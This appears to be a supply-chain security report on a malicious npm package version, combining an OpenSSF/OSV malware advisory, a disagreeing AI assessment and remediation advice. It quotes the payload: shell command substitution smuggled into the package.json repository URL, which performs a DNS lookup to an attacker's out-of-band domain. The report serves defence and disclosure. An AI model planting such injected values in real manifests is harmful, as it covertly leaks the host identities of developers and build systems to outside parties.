This report shows the evidence for @an1mshnpmb9c84920/pipe-dns-m19t2@1.0.5. 3 of 5 known versions are blocked or flagged. The newest version, 0.0.1-security, is allowed.
Blocked by malware advisory
OpenSSF/OSV malware advisory MAL-2026-18049 identifies this version as malicious and supplies the Firewall block. LPM AI assessed this version as suspicious; the assessments disagree.
What to do: remove this version and, if it ran, rotate the credentials it could reach. Remediation↓
OpenSSF/OSV malicious advisory
imported · by OpenSSF/OSV
OpenSSF/OSV advisory MAL-2026-18049 confirms this npm version as malicious.
Advisory
MAL-2026-18049
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in @an1mshnpmb9c84920/pipe-dns-m19t2 (npm)
Details
The package.json repository.url field embeds a shell command-substitution payload of the form $(getent${IFS}hosts${IFS}<subdomain>.oob.awss.dev>/dev/null), designed to execute when tooling interpolates the field into a shell context. The payload resolves an attacker-controlled subdomain under oob.awss.dev, leaking the installer's host identity via DNS to the attacker's out-of-band collector. The package body is a one-line stub with no legitimate functionality; the entire payload is in the manifest metadata. The scoped name and single-release shape are consistent with a dependency-confusion or manifest-injection probe targeting internal npm tooling.
## Source: ghsa-malware (0af2574cde6941a12e82bbc6fb4de1d1fd75b2434ab5e88dbebc4e8ea644bd36) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Independent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.
The repository URL contains suspicious shell syntax for an outbound DNS lookup, but no package lifecycle or runtime path activates it. Treat this as an inert payload carrier with unresolved risk.
Static reason
No blocking static signals were detected.
Trigger
A consumer tool shell-interpolating the repository URL; no such activation is shown in the package source.
Impact
If evaluated, it could create an outbound DNS signal; no collected data or further effect is established.
Mechanism
The embedded command invokes a host lookup for an OOB domain and discards the output.
Evidence
package.json
Network endpoints1
npmgit19y8--768.oob.awss.dev
Independent scan evidence
public snapshot
AI called this Suspicious at 77.0% confidence as Dangerous Capability with medium false-positive risk.
Evidence for AI warning decision
The manifest embeds shell command substitution containing a DNS lookup in its repository URL; it has no lifecycle scripts.
The entrypoint only exports the number 1 and contains no visible execution logic.
Evidence against
The DNS lookup is inert in the inspected package source unless another tool evaluates the repository URL through a shell; no such trigger is established.
Behavioral surface
SourceNo risky source behavior triggered.
Supply chainTrivial
ManifestNo manifest risk signals triggered.
Scanned 1 file · 17 B of source
Findings
2 high
Most severe first. Code opens a file's flagged lines, with their evidence, below.
This report applies to @an1mshnpmb9c84920/pipe-dns-m19t2@1.0.5.
The versions list below shows the verdict for each recorded version.
Avoid installing @an1mshnpmb9c84920/pipe-dns-m19t2@1.0.5. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.